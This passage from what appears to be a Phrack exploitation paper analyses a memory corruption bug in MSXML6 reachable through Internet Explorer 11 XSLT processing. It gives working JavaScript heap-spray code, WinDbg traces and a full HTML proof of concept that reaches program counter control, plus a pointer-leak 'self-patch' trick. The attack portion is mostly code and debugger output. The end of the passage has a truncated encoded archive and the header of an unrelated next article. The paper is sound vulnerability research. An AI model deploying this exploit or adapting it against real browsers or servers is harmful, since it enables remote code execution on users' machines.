1. At the point when the PNG image is loaded and decompressed by the browser but is not yet displayed on the web page, the bitmap data in the process memory fully corresponds to the source BMP.

2. A large image is mapped into a comparably large and continuous chunk of memory, located at a somewhat predictable memory offset.

The PNG spraying technique proved to be not suitable for this particular case because a highly variable memory padding pattern would be required, and so the images would have to be too big anyway. However it still looks like an interesting technique for rapid filling of huge memory areas with a simple byte pattern.

‑‑[ 3.5 ‑ Filling the memory 2: integers

After testing various memory filling techniques, I've finally settled on integer arrays. The following JavaScript code will quickly fill 400Mb of the memory of Internet Explorer 11 with a continuous constant‑dword spray:

var intArr = new Array;

var count = (0x19000000‑0x20)/4;

intArr[0] = 0x01c0ffee; // marker // s 0 l?80000000 ee ff c0 01

for(var i=1; i<=count; i++)

intArr[i] = 0x17151715;

alert('done');

It's curious to note that varying the values in the spraying loop may sometimes result in an internal exception in IE, e.g. when trying to fill more than 400 Mb of the browser memory, or using an 'AAAA' integer equivalent for the filling. This looks like a protection from heap spraying, but it does not pose a major obstacle to the task.

The resulting memory filling is distributed across two big and continuous allocations as follows:

0:028> s 0 l?80000000 ee ff c0 01

0531b4f0 ee ff c0 01 f8 ff ff ff‑00 00 00 00 00 00 00 00 ............. ; just the marker dword, not relevant

08391860 ee ff c0 01 15 17 15 17‑15 17 15 17 15 17 15 17 ............. ; a <0x200 bytes chunk, not relevant

085dd0d8 ee ff c0 01 15 17 15 17‑15 17 15 17 15 17 15 17 ............. ; a <0x10 bytes chunk, not relevant

085de510 ee ff c0 01 15 17 15 17‑15 17 15 17 15 17 15 17 ............. ; a <0x200 bytes chunk, not relevant

12da5a18 ee ff c0 01 e3 ff c0 01‑ce ff c3 01 b8 ff cc 01 ............. ; random garbage

2c540020 ee ff c0 01 15 17 15 17‑15 17 15 17 15 17 15 17 ............. ; the array, part 1

3eec0020 ee ff c0 01 15 17 15 17‑15 17 15 17 15 17 15 17 ............. ; the array, part 2

The first allocation looks like simply unfinished, stopped around 300Mb, while the second allocation is full, and both of them are contiguous:

0:028> s 0 l?80000000 ee ff c0 01

...

2c540020 ee ff c0 01 15 17 15 17‑15 17 15 17 15 17 15 17 ............. 3eec0020 ee ff c0 01 15 17 15 17‑15 17 15 17 15 17 15 17 .............

0:028> ? 3eec0020‑2c540020

Evaluate expression: 311951360 = 12980000

0:028> db 2c540020+12980000‑30

; this is the borderline between the 1st and the 2nd allocations 3eebfff0 00 00 00 00 00 00 00 00‑00 00 00 00 00 00 00 00 ............. 3eec0000 00 00 00 00 90 c4 fb 1e‑00 00 00 00 00 00 00 00 ............. 3eec0010 00 00 00 00 f9 ff 3f 06‑20 f1 be 07 00 00 00 00 ......?. .... 3eec0020 ee ff c0 01 15 17 15 17‑15 17 15 17 15 17 15 17 ............. 3eec0030 15 17 15 17 15 17 15 17‑15 17 15 17 15 17 15 17 ............. 3eec0040 15 17 15 17 15 17 15 17‑15 17 15 17 15 17 15 17 ............. 3eec0050 15 17 15 17 15 17 15 17‑15 17 15 17 15 17 15 17 ............. 3eec0060 15 17 15 17 15 17 15 17‑15 17 15 17 15 17 15 17 .............

0:028> db 2c540020+12000000

; end of the 1st allocation is somewhere in between sizes ; 12000000 and 12980000

3e540020 15 17 15 17 15 17 15 17‑15 17 15 17 15 17 15 17 ............. 3e540030 15 17 15 17 15 17 15 17‑15 17 15 17 15 17 15 17 ............. 3e540040 15 17 15 17 15 17 15 17‑15 17 15 17 15 17 15 17 ............. 3e540050 15 17 15 17 15 17 15 17‑15 17 15 17 15 17 15 17 ............. 3e540060 15 17 15 17 15 17 15 17‑15 17 15 17 15 17 15 17 ............. 3e540070 15 17 15 17 15 17 15 17‑15 17 15 17 15 17 15 17 ............. 3e540080 15 17 15 17 15 17 15 17‑15 17 15 17 15 17 15 17 ............. 3e540090 15 17 15 17 15 17 15 17‑15 17 15 17 15

;the second allocation:

0:028> db 3eec0020+19000000

; pointers after the end of the allocation

57ec0020 02 00 00 80 02 00 00 80‑02 00 00 80 02 00 00 80 ............. 57ec0030 02 00 00 80 02 00 00 80‑02 00 00 80 02 00 00 80 ............. 57ec0040 02 00 00 80 02 00 00 80‑02 00 00 80 02 00 00 80 ............. 57ec0050 02 00 00 80 02 00 00 80‑02 00 00 80 02 00 00 80 ............. 57ec0060 02 00 00 80 02 00 00 80‑02 00 00 80 02 00 00 80 ............. 57ec0070 02 00 00 80 02 00 00 80‑02 00 00 80 02 00 00 80 ............. 57ec0080 02 00 00 80 02 00 00 80‑02 00 00 80 02 00 00 80 ............. 57ec0090 02 00 00 80 02 00 00 80‑02 00 00 80 02 00 00 80 ............. 0:028> db 3eec0020+19000000‑30

; end of the second allocation

57ebfff0 15 17 15 17 15 17 15 17‑15 17 15 17 15 17 15 17 ............. 57ec0000 15 17 15 17 02 00 00 80‑02 00 00 80 02 00 00 80 ............. 57ec0010 02 00 00 80 02 00 00 80‑02 00 00 80 02 00 00 80 ............. 57ec0020 02 00 00 80 02 00 00 80‑02 00 00 80 02 00 00 80 ............. 57ec0030 02 00 00 80 02 00 00 80‑02 00 00 80 02 00 00 80 ............. 57ec0040 02 00 00 80 02 00 00 80‑02 00 00 80 02 00 00 80 ............. 57ec0050 02 00 00 80 02 00 00 80‑02 00 00 80 02 00 00 80 ............. 57ec0060 02 00 00 80 02 00 00 80‑02 00 00 80 02 00 00 80 .............

Considering the addressing predictability of the allocations, two observations can be made across multiple tests:

1. Both allocations are aligned by 16 pages, added 0x20 bytes header with full page heap setting enabled (or 0x8 with the default setting).

2. The memory addresses of both allocations are highly predictable.

In fact, the addresses of the two allocations would vary across the tests by 'just' approximately 0x1'000'000 bytes, which is not significant in terms of a 0x19'000'000+0x12'000'000 nearly continuous controlled memory space:

; windbg script log edited for readability

; produced by re‑launching the app and recording the same allocations ; shows the addresses of the two intarray allocations Opened log file 'c:\users\user\desktop\windbg.log' 0x27f30020

0x3a8b0020

Opened log file 'c:\users\user\desktop\windbg.log' 0x283f0020

0x3ad70020

Opened log file 'c:\users\user\desktop\windbg.log' 0x27ea0020

0x3a820020

Opened log file 'c:\users\user\desktop\windbg.log' 0x28530020

0x3aeb0020

Opened log file 'c:\users\user\desktop\windbg.log' 0x284e0020

0x3ae60020

Opened log file 'c:\users\user\desktop\windbg.log' 0x28aa0020

0x3b420020

Opened log file 'c:\users\user\desktop\windbg.log' 0x28e60020

0x3b7e0020

Opened log file 'c:\users\user\desktop\windbg.log' 0x28440020

0x3adc0020

Opened log file 'c:\users\user\desktop\windbg.log' 0x28560020

0x3aee0020

Opened log file 'c:\users\user\desktop\windbg.log' 0x28480020

0x3ae00020

Opened log file 'c:\users\user\desktop\windbg.log' 0x28a00020

0x3b380020

Without researching the exact reasons of the highly predictable memory allocations, it seems logical if not inevitable that, the bigger the allocation, the more predictable its address would be on x86 systems because of the memory space limitation. This speculation is totally confirmed by observations with various allocation sizes.

Considering the reliability risks of the allocations disposition in the memory, the expected memory map will likely change in the following situations:

1. Additional modules loaded by the browser, such as a BHO or an ActiveX. This factor cannot possibly be remote‑controlled. On the other hand, the average size of an executable module is insignificant in terms of a 400Mb controlled memory allocation, so it shouldn't distort the expected memory map too much.

2. Additional web content processed in the same tab (images loaded, JavaScript executed etc.), that would change the stack situation. Because each IE tab is loaded in a separate process, this factor can be totally controlled by the vulnerable web page.

3. Microsoft changes IE internals. Not possible to control.

4. Full page heap setting enabled or disabled. The full page heap setting changes the entire memory layout significantly enough that the vulnerability control code must be fine‑tuned with this regard specifically.

All in all, at that point the memory landing space looks safe enough to be addressed.

‑‑[ 3.6 ‑ Recursion control

Having the control over the continuous region of memory in the range [0x28000000,0x57000000], it would probably be the safest to direct the crashing pointer in the middle of the range, e.g. around 0x47000000. To achieve this, the JavaScript recursion count must be specifically calculated to reach the crashing procedure around the stack offset of 0x...4700.

The size of one JavaScript recursion frame in Internet Explorer 11 is 0x320, each frame corresponding to one cycle of the factorial algorithm:

; JavaScript factorial algorithm recursion on the stack 0529b0d4 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1e8 0529b0e0 0x86c0fd9

0529b428 jscript9!Js::InterpreterStackFrame::Process+0xbd7 0529b544 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1e8 0529b550 0x86c0fd9

0529b898 jscript9!Js::InterpreterStackFrame::Process+0xbd7 0529b9b4 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1e8 0529b9c0 0x86c0fd9

Provided that the vulnerable browser will crash randomly around the stack offsets 0x...ac00 to 0x...b300, the stack must be inflated by 0xb650(+‑0x350)‑0x4700=0x6f50(+‑0x350) bytes, which requires (0x6f50+‑0x350)/0x320=35+‑1 cycles of recursion, or the call to factorial(35). Indeed, testing this would cause an access violation around the desired address:

(268.2a4): Access violation ‑ code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled.

eax=489019b1 ebx=1a819ff0 ecx=1a819f42 edx=6f6e4430 esi=1a819f40 edi=19b14770 eip=6f6f9c85 esp=19b1476c ebp=19b14888 iopl=0 nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 msxml6!XEngine::stns+0x6:

6f6f9c85 mov edx,dword ptr [eax+8] ds:0023:489019b9=????????

‑‑[ 3.7 ‑ Program counter control

According to the vulnerable XCode execution logic, the address of the dynamic call in XEngine::brns() is retrieved via three consecutive dereferences from the crashing pointer:

msxml6!XEngine::stns:

6f6f9c7f mov eax,dword ptr [ecx+0B0h] ; retrieved ptr0 (eax) 6f6f9c85 mov edx,dword ptr [eax+8] ; ptr0 ‑> crash / ptr1 (edx) 6f6f9c88 push esi

6f6f9c89 lea esi,[edx+0Ch]

6f6f9c8c mov dword ptr [eax+8],esi

6f6f9c8f mov eax,dword ptr [edx+4] ; ptr1 ‑> ptr2 (eax) 6f6f9c92 push 8

6f6f9c94 mov dword ptr [ecx+0A4h],eax ; store ptr2 6f6f9c9a pop eax

6f6f9c9b pop esi

6f6f9c9c ret

...

msxml6!XEngine::brns:

712da250 mov edi,edi

712da252 push esi

712da253 mov esi,ecx

712da255 mov ecx,dword ptr [esi+0A4h];restore ptr2 (2 bytes randomized) 712da25b mov eax,dword ptr [ecx] ; ptr2 ‑> ptr3 (eax) 712da25d call dword ptr [eax] ; ptr3 ‑> shellcode

Thus, the landing memory contents at ptr0 must satisfy the following dereference logic:

Ptr0 (initial AV / address in the spray ) ‑>

ptr1 ‑> ptr2 ‑> ptr3 ‑> shellcode

In the above chain of pointers, pointers 1 and 3 are precise, as they are read from the memory padding; but pointer 0 is random within a 100Mb range due to the nature of the bug, and pointer 2 is only page‑precise due to the 2‑byte memory alignment differences in the procedures where the pointer is stored and then restored.

Thanks to the randomized memory access only on the 0th and the 2nd pointers, two split memory areas are required to contain the entire dereference chain, one part (and the first dereferenced) containing the pointers to the second part, the second part containing the pointers to the shellcode, and the presize addresses treated specifically:

function poc()

{

// !!! +hpa required !!!

// bp msxml6!xengine::stns; bp msxml6!xengine::brns; g;

var intArr = new Array;

intArr[0] = 0x01c0ffee; // marker // s 0 l?80000000 ee ff c0 01

var count = (0x19000000‑0x20)/4; // 400 Mb

for(var i=1; i<=count; i++)

{

// part1: ptr0/ptr1 read

if ( i<(0x12000000/4) )

{

if ( ((i*4+0x20)&0xffff) == (0x3c3c+4) ) //if it's a ptr1 read

intArr[i] = 0x54545454; // then yield ptr2

else

intArr[i] = 0x3c3c3c3c; // otherwise, ptr1

}

// part2: ptr2 read

else

intArr[i] = 0x00badd1e; // ptr3 ‑> shell code

}

crash();

}

The numerical values in the script were chosen empirically with the full page heap enabled; tweak them if anything doesn't work.

And the result should be:

(ddc.f28): Access violation ‑ code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled.

eax=00badd1e ebx=11f71ff0 ecx=5454492c edx=5454492c esi=11f71f40 edi=04ef4740 eip=6f6fa25d esp=04ef4738 ebp=04ef4858 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202 msxml6!XEngine::brns+0xd:

6f6fa25d ff10 call dword ptr [eax] ds:0023:00badd1e=????????

‑‑[ 4 ‑ The self‑patch

The next section will discuss the possible useful application of the gained control over the vulnerability without any shell code execution: self‑patching of the vulnerable process.

‑‑[ 4.1 ‑ A leak without a leak

Unlike many memory corruption vulnerabilities, this particular one does not allow for an arbitrary memory write that could be used to leak some information allowing to bypass DEP and ASLR and to execute arbitrary code within the IE sandbox. But the nature of the vulnerability would still allow for a small and limited information leak, which can be used to restore the memory values, required to continue the normal execution ( CoE) of the vulnerable application.

Specifically, because the crashing pointer contains the upper word of the stack offset in its lower part due to the misaligned memory read, and the controlled memory space is page‑aligned, it is possible to 'leak' part of the stack address by translating the accessed memory address into the value read from that address with the help of the carefully calculated memory padding.

There are a few key points to understand about our precisely patterned padding.

1. We start with the idea that each dword in the spray must contain the value of its own offset to the page. Page‑size patterning is enough because we only want to leak about 2 bytes of the stack address.

2. Next, we calculate all pattern values based on the spray loop counter as follows: i_pattern = i*4%0x1000;

3. We ensure that the aligned spray will as well align in memory by allocating a big enough continuous chunk of memory. Big memory allocations tend to be 16‑pages aligned, i.e. starting with an address like 0xXYZQ0000 (see also windbg.log above), which looks like a sane memory optimization strategy with the

heap manager.

4. Next, because the padding must resolve two consecutive memory dereferences while preserving the leaked bits of data inside the actual pointers, we split the page‑sized pattern in two halves and fill them differently:

else if (i_pattern < 0x0700)

intArr[i] = ptr12base + ptr1;

else

intArr[i] = ptr12base + ptr2;

This trick is only possible because of very little entropy observed in the high‑order part of the randomly allocated stack offset, which tends to be around 0x04xxxxxx‑0x06xxxxxx. Hence we in fact only want to leak 11 bits of the address and not 16, for which a 0x700 bytes pattern is sufficient.

5. We differentiate the pointers in the two parts of the pattern by adding and removing a hand‑picked, semi‑random delta value to the leaking part of the pointer:

var delta = 0x3300;

6. Finally, we adjust the calculations to the values of the respective dereference indexes, e.g. [eax+8] for the first read, as well as to the size of the heap header, which is 0x20 with full page heap:

ptr1 = (i_pattern ‑ 8 + 0x20 + delta);

ptr2 = (i_pattern ‑ 4 + 0x20 ‑ (delta&0xfff));

Note that we mindfully use a delta value bigger than the size of the pattern, and then we also preserve the 2 higher bits of the added delta value in the 2nd stage pointers, that will eventually increase the reliability of the padding in the cases of misaligned memory access by ensuring that the majority of bytes in the spray will be equal to 0x38, and thus the final pointer will likely point into the controlled memory around 0x38xxxxxx, regardless of both the reading

alignment and the leaked bits in the pointer.

As a result of the correctly calculated and a correctly positioned padding, the initially read memory offset will re‑surface in the program as the low‑order word of the value that's eventually read from the range 0x3838xxxx:

0:007> dd 4b6004e0+8

; 4b6004e0 = the original AV pointer

; 0th read // mov edx,dword ptr [eax+8]

4b6004e8 383837e0 383837e4 383837e8 383837ec

4b6004f8 383837f0 383837f4 383837f8 383837fc

4b600508 38383800 38383804 38383808 3838380c

4b600518 38383810 38383814 38383818 3838381c

4b600528 38383820 38383824 38383828 3838382c

4b600538 38383830 54545454 38383838 3838383c

4b600548 38383840 38383844 38383848 3838384c

4b600558 38383850 38383854 38383858 3838385c

0:007> dd 383837e0+4

; 1st read // 04e0 is the high word of the stack address

383837e4 383804e0 383804e4 383804e8 383804ec

383837f4 383804f0 383804f4 383804f8 383804fc

38383804 38380500 38380504 38380508 3838050c

38383814 38380510 38380514 38380518 3838051c

38383824 38380520 38380524 38380528 3838052c

38383834 38380530 38380534 54545454 3838053c

38383844 38380540 38380544 38380548 3838054c

38383854 38380550 38380554 38380558 3838055c

The read value, that is the two leaked bytes of the stack offset, will then be used by the application itself to restore the original 3rd pointer, which results in retrieving of the correct address of the dynamic call in XEngine::brns(), and resuming of the program execution like if there was no vulnerability:

0:007> p

; our crafted value (read from the memory padding)

; with 2 leaked bytes of the stack address 04e0: eax=383804e0

...

; write the crafted value

msxml6!XEngine::stns+0x15:

6f6f9c94 8981a4000000 mov dword ptr [ecx+0A4h],eax

; value written via the misaligned pointer:

0:007> dd ecx+a4 l1

11b3dfe6 4c1404e0

; value read via the sane pointer:

0:007> dd ecx+a4‑2

11b3dfe4 04e04c2c

; looks good:

0:007> dds 04e04c2c

04e04c2c 6f6e44b8 msxml6!RTFNodeSet::`vftable'

; the original call pointer restored:

0:007> dds poi 04e04c2c

6f6e44b8 6f6e44d5 msxml6!XPSingleTextNav<WhitespaceCheck>::_getParent

And the result is the target application passing the crash‑inducing code without a crash:

*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Message from webpage X |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

| Look, no calc! |

|

| / OK / |

*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ 4.2 ‑ The offset‑to‑value translation

As per my testing boxen, the upper word of the stack address would never exceed 0x06xx, and thus the crashing pointer would always fall within the first 0x700 bytes of the target memory page, so the remaining 0x900 bytes of the page may be used for the translation purposes:

var i_pattern = i*4%0x1000; // index into the current page

ptr1 = (i_pattern ‑ 8 + 0x20 + delta);

ptr2 = (i_pattern ‑ 4 + 0x20 ‑ (delta&0xfff));

if (i_pattern < 0x0700)

intArr[i] = ptr12base + ptr1;

else

intArr[i] = ptr12base + ptr2;

The problem here is that the original crashing pointer is not guaranteed to be correctly aligned, while the memory translation pattern must be dword‑aligned. That is, the correctly aligned memory access will result in reading a value like 0x3838XYZQ from the spray, where XYZQ are the leaked bits of the stack offset. But let's see what's read with a misaligned pointer:

a. off by 1: 0x38XYZQ38

In this case the pointer still falls into the controlled memory area, but the XY bits of the leaked stack address will be mangled, because we can only guarantee 64Kb alignment of memory allocations.

b. off by 2: 0xXYZQ3838

All bits of the stack address are lost, and the pointer looks unpredictable. But we can still enforce this to point to the controlled memory around 0x38xxxxxx by adding a specially crafted delta value of 0x3300 to calculated pointers in the spray as was mentioned earlier. So, e.g. the read value 0x07073838 will become a valid pointer to 0x3a373838. This is possible because the high 4 bits of the stack offset tend to be zero.

c. off by 3: 0xZQ3838XY

Most important bits of the stack offset are lost in this case, and also the ZQ leaked bits are highly entropic and cannot be made predictable as in the case b. Not much can be done with this case, that's likely to point into random memory and possibly cause an access violation.

One thing to notice about the misalignment cases above is that both pointers a. and b. quite logically end with 0x38 that we use as the pattern base. So, we can catch 2 out of 3 misalignment cases in the code by checking the final byte against this value, and then address them specifically e.g. to fall back to raw EIP control instead of allowing a crash:

// the address ends with 0x38+4:

if ( ((i*4+0x20)&0xff) == (pbyte+4) )

intArr[i] = ptrcall;

...

0:007> r

eax=4fc0055e ; the crashing pointer

...

0:007> dd eax+8

; 0th read: misaligned

4fc00566 38603838 38643838 38683838 386c3838

4fc00576 38703838 38743838 38783838 387c3838

4fc00586 38803838 38843838 38883838 388c3838

4fc00596 38903838 38943838 38983838 389c3838

4fc005a6 38a03838 38a43838 38a83838 38ac3838

4fc005b6 38b03838 38b43838 38b83838 38bc3838

4fc005c6 38c03838 38c43838 38c83838 38cc3838

4fc005d6 38d03838 38d43838 38d83838 38dc3838

0:007> dd 38603838+4

; 1st read: special value

3860383c 54545454 3838053c 38380540 38380544

3860384c 38380548 3838054c 38380550 38380554

3860385c 38380558 3838055c 38380560 38380564

3860386c 38380568 3838056c 38380570 38380574

3860387c 38380578 3838057c 38380580 38380584

3860388c 38380588 3838058c 38380590 38380594

3860389c 38380598 3838059c 383805a0 383805a4

386038ac 383805a8 383805ac 383805b0 383805b4

0:007> dd 54545454

; 2nd read / call address

54545454 00badd1e 00badd1e 00badd1e 00badd1e

54545464 00badd1e 00badd1e 00badd1e 00badd1e

54545474 00badd1e 00badd1e 00badd1e 00badd1e

Regarding the last, 3‑bytes misaligned memory access case that reads pointers like 0xZQ3838XY where ZQ is totally random, this is asking to precisely control the contents of entire memory space of the process, that may be not impossible but is likely not worth it. So I leave it alone as a crash.

The final code is:

<!doctype html>

<html>

<head>

<script>

function crash()

{

xslcontent=

'<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" \\

version="1.0"><xsl:template name="main_template" match="/"><xsl:for‑each \\ select="*"><xsl:apply‑templates/></xsl:for‑each> </xsl:template><xsl:template \\ name="xx" match="x[position()]" /></xsl:stylesheet>';

srcTree=new ActiveXObject("Msxml2.DOMDocument.6.0"); xsltTree=new ActiveXObject("Msxml2.DOMDocument.6.0"); xsltTree.loadXML(xslcontent);

alert("crash");

srcTree.transformNode(xsltTree);

}

function selfpatch()

{

// !!! +hpa required !!!

// bp msxml6!xengine::stns;bp msxml6!xengine::brns;g;

var intArr = new Array;

intArr[0] = 0x01c0ffee; // marker // s 0 l?80000000 ee ff c0 01

var count = (0x19000000‑0x20)/4; // 400 Mb

// ptr0(spray/crash)‑>ptr1‑>ptr2‑>ptr3‑>shellcode

// 0x3a..0x40.. ‑> 0x3838xxxx ‑> 0x3838yyyy ‑> patch or shellcode

var pbyte = 0x38; // play with me

// landing for the initial memory access:

var ptr12base = (pbyte<<24)+(pbyte<<16); //0x38380000

var ptr1 = 0; // calculated from the page offset

var ptr2 = 0; // calculated from the page offset

var ptrcall = 0x54545454; // 0x5454xxxx ‑> pointers to call address

var delta = 0x3300;

// delta is added and removed to segregate the 1st

// and the 2nd memory access areas within the pattern;

// the additional bits above 0x1000 are used to enforce

// the successful 1‑byte misaligned memory access

for(var i=1; i<=count; i++)

{

var i_pattern = i*4%0x1000; // index into the current page

// let's fill the spray tail with plain pointers to shellcode

if ( i>(0x12000000/4) ) // which defines where the 'tail' begins

{

intArr[i] = 0x00badd1e;

continue;

}

ptr1 = (i_pattern ‑ 8 + 0x20 + delta);

ptr2 = (i_pattern ‑ 4 + 0x20 ‑ (delta&0xfff));

// misaligned memory access: fallback to code exec

if ( ((i*4+0x20)&0xff) == (pbyte+4) ) intArr[i] = ptrcall;

// well aligned memory access: restore the pointers

else if (i_pattern < 0x0700)

intArr[i] = ptr12base + ptr1;

else

intArr[i] = ptr12base + ptr2;

}

crash();

alert("Look, no calc!");

}

function factorial(n)

{

if (n == 0)

{

selfpatch();

return 1;

}

else

return n * factorial(n ‑ 1);

}

</script>

</head>

<body onload="factorial(30);">

<form id="a">

</form>

<dfn id="b">

</dfn>

<div id="resTree"></div>

</body>

</html>

On my testing boxes, the final proof‑of‑concept code yields a self‑patch in 25% of test cases, a fallback control in 50% of cases, and the inevitable crash in 25% of cases. This result agrees with the theoretical expectation of the maximal possible gain from the offset translation approach. The previous code‑execution only proof‑of‑concept code should yield EIP control in 100% of test cases.

‑‑[ 5 ‑ Further work

Taking the bug to arbitrary code execution is considered out of scope for this paper, but let's review the state of the art.

Although the bug itself allows for the full control over the program counter, as it was showed with the proof‑of‑concept provided in the section 3.7, such a possibility is inherently burdened with two factors:

1. A heap spray is required due to the entropic nature of the bug, that makes the pc control less reliable, if not...

2. ...if not impossible, in the case of x64 bit systems with memory too wide to spray.

Few years ago a browser EIP control would be considered a 'game end'. But today it's just the beginning of a completely different game, or rather, of two different games: mitigations bypass for a sandboxed code execution, and a sandbox bypass for the arbitrary code execution.

In this game, Internet Explorer 11 is possibly the 2nd best hardened popular product, after the Google Chrome. Each major version of IE in the past years has introduced a major improvement to the system of security mitigations, up to the point when Microsoft was able to back and test the state of the product security with a $100k worth Bypass bounty, which says a lot. Another important indicator is the statistics for real IE11 exploits that may be observed both ITW (in the wild) and in the metasploit, that's pretty scarce.

Among the dozens of mitigations included in the modern IE[4], many old mitigations have become largely irrelevant, along with the corresponding classes of bugs that were gradually audited out of existence (such as buffer overflows and the corresponding GS stack cookie mitigation). On the other hand, the newer mitigations for more realistic classes of bugs such as Use‑after‑free are still too weak, e.g. the IsolatedHeap which is only selectively relevant to certain bugs, or MemoryProtection which includes the side‑walks allowing to bypass it in

practice[5]. The new Control Flow Guard included in Windows 8.1 has been bypassed both in the wild and in research[6] even before its full backward deployment on the still‑popular systems like Windows 7. Only two mitigations before the sandbox are universally frustrating for a binary researcher regardless of a bug class: DEP strictly in conjunction with a forced ASLR.

The ForceASLR mitigation was introduced in IE10, and wiped a whole class of easy and reliable DEP+ASLR bypass techniques which relied upon both system and 3rd party DLLs compiled without the explicit support for ASLR, allowing for constructing an executable ROP chain with pieces of their code at known addresses.

Another opportunity that allowed to bypass DEP+ASLR in a generic way was utilizing executable memory pages generated by 'Just in time' compiler of Adobe Flash.[7] This technique had been mitigated early on, although it's not clear whether it's completely dead. In any case, it is limited due to the Adobe Flash dependency.

The main[stream] technique used today to bypass DEP+ASLR is to leak some information about the process address space via a memory‑leaking opportunity, typically a forced memory leak with a memory corruption vulnerability.[8] The most common way observed to force a memory leak is to corrupt a client‑readable object in a certain way allowing for removal of the reading limits: such as a BSTR string in JavaScript (which is said to be removed from jscript9.dll with IE9 but can still be accessed in IE11[9]), various arrays in JavaScript and the Vector object in Flash. To achieve such a bypass, either a second vulnerability must be used, or in some cases, the same vulnerability can provide both a code execution and a memory leaking opportunity.

Another branch of research worthy of a notice is the class of 'lazy' arbitrary code executions introduced by Chinese researchers[10], that takes a write‑what‑where vulnerability condition to enable a privileged JavaScript execution instead of dealing with shell codes. This is not a bypass technique in its own, because it still relies on a memory read/ write vulnerability that can provide a memory leak anyway, but rather an example of a minimalist goal‑oriented thinking as opposed to the overcomplicated fighting with complications.

Jumping back to our bug, it is important to highlight that, because the target software is a global system framework rather than a direct attack surface, IE might be the worst possible attack vector. Instead, one might want to focus on covering a number of secondary vectors, that are less constrained with mitigations (e.g. Microsoft Office for which an ASLR bypass should no be an issue). As it ws shown in the Table in the section 2.2, it's possible to trigger the bug in Office 2007 via an embedded JavaScript. Another possibility to mention, that MS Word has a poorly documented functionality for using XML templates with XSL transformation functionality, that might possibly be a vector

as well. And most importantly, many internet‑facing web applications based on ASP.net might be vulnerable with maybe a no‑user‑interaction code execution on a Windows server.

‑‑[ 6 ‑ Conclusion

In this paper we have thoroughly analyzed and demonstrated a certain control over a curious specimen of a critical modern vulnerability in a core Microsoft product, which somehow remained undercover for 2 years despite of the publicly available trigger. We have also introduced a few bits of previously unpublished information concerning MSXML internals, JavaScript 9 internals, heap spraying with images as well as general heap spraying in the latest Internet Explorer.

In order to analyze and control a modern binary vulnerability, a set of distinct operations is applied, all of which we have revisited:

impact vectors research,

crash dump analysis,

exploitability estimation,

patch binary analysis,

and root cause analysis.

A seemingly uninteresting bug, previously discarded by automated tools and superficial analysis, may turn out to be exploitable as a result of an all‑round investigation.

There may exist a multitude of ways to remotely reach a particular vulnerability, apart from the most obvious (and likely the most constrained) attack vector.

Deducing any specific vulnerability details from a vulnerability patch only, such as the triggering inputs or the root cause, may be extremely hard or impossible due to both the binary diffing complexities of large amounts of binary code modifications and the possibility of a seemingly irrelevant code being changed.

A bit‑accurate precision of the crafted input may be required to take a vulnerability condition such as a read access violation to the control of the program counter through the chain of code constraints along the execution path, as well as an extensive grasp of the operating system internals and a pages‑accurate control of the target process memory space.

Bits of useful data may be leaked about the crashing context through ordinary memory access operations, even when no explicit information leaking opportunity is provided by the vulnerability.

Internet Explorer 11 memory may be filled quickly with controlled data that would be positioned predictably enough to control a highly entropic vulnerability, despite the allocation randomization as well as the possible anti heap‑spraying mechanisms in place.

Microsoft XSLT technology is implemented as a simple virtual machine, taking the input XSL code through the abstract syntax tree generation with the ASTCodeGen class to 'XCode' compilation with the XCodeGen class, to stateful frame‑based computation with the XEngine class.

A huge memory spray may be contained in bitmaps, compressed into the PNG format with zero loss.

A memory leaking opportunity will be required to take the vulnerability from EIP control to shellcode execution.

‑‑[ 7 ‑ Thanks

Nicolas for publishing the repro trigger, my ex‑boyfriend for the endless supply of cat photos and Nutella, and my grandma for her loving support.

‑‑[ 8 ‑ References

[1] Microsoft Security Bulletin MS13‑002 ‑ Critical ‑ TechNet https://technet.microsoft.com/library/security/ms13‑002

[2] Nicolas Gregoire, "Mutation‑based fuzzing of XSLT engines" http://www.agarri.fr/kom/archives/2013/02/25/

mutation‑based_fuzzing_of_xslt_engines/index.html

[3] Greg MacManus, Michael Sutton, "Punk Ode: Hiding Shellcode in Plain Sight" https://www.blackhat.com/presentations/bh‑usa‑06/BH‑US‑06‑Sutton.pdf

[4] Ken Johnson, Matt Miller, "Exploit mitigation improvements in Windows 8" https://media.blackhat.com/bh‑us‑12/Briefings/M_Miller/

BH_US_12_Miller_Exploit_Mitigation_Slides.pdf

[5] Yuki Chen, "The Birth of a Complete IE11 Exploit Under the New Exploit Mitigations" https://www.syscan.org/index.php/download/

[6] Zhang Yunhai, "Bypass Control Flow Guard comprehensively" https://www.blackhat.com/docs/us‑15/materials/us‑15‑Zhang‑Bypass‑

Control‑Flow‑Guard‑Comprehensively‑wp.pdf

[7] Dion Blazakis, "Interpreter Exploitation. Pointer Inference and JIT Spraying" http://www.semantiscope.com/research/BHDC2010/BHDC‑2010‑Paper.pdf

[8] Fermin J. Serna, "The info leak era on software exploitation" https://media.blackhat.com/bh‑us‑12/Briefings/Serna/

BH_US_12_Serna_Leak_Era_Slides.pdf

[9] Yang Yu, "Write Once, Pwn Anywhere" https://www.blackhat.com/docs/us‑14/materials/us‑14‑Yu‑Write‑Once‑

Pwn‑Anywhere.pdf

[10] Yuki Chen, "Exploit IE using scriptable ActiveX controls" http://www.slideshare.net/xiong120/exploit‑ie‑using‑scriptable‑

active‑x‑controls‑version‑english

‑‑[ 9 ‑ Code

begin 644 code.tar.gz M'XL(`!:!EE4``^U9VV[;1A#‑JP+X'\8"VI!Q)5Y$2;9U*0+D,6X>FH<`01"L end

Internet Voting

==Phrack Inc.==

Volume 0x0f, Issue 0x45, Phile #0x0b of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

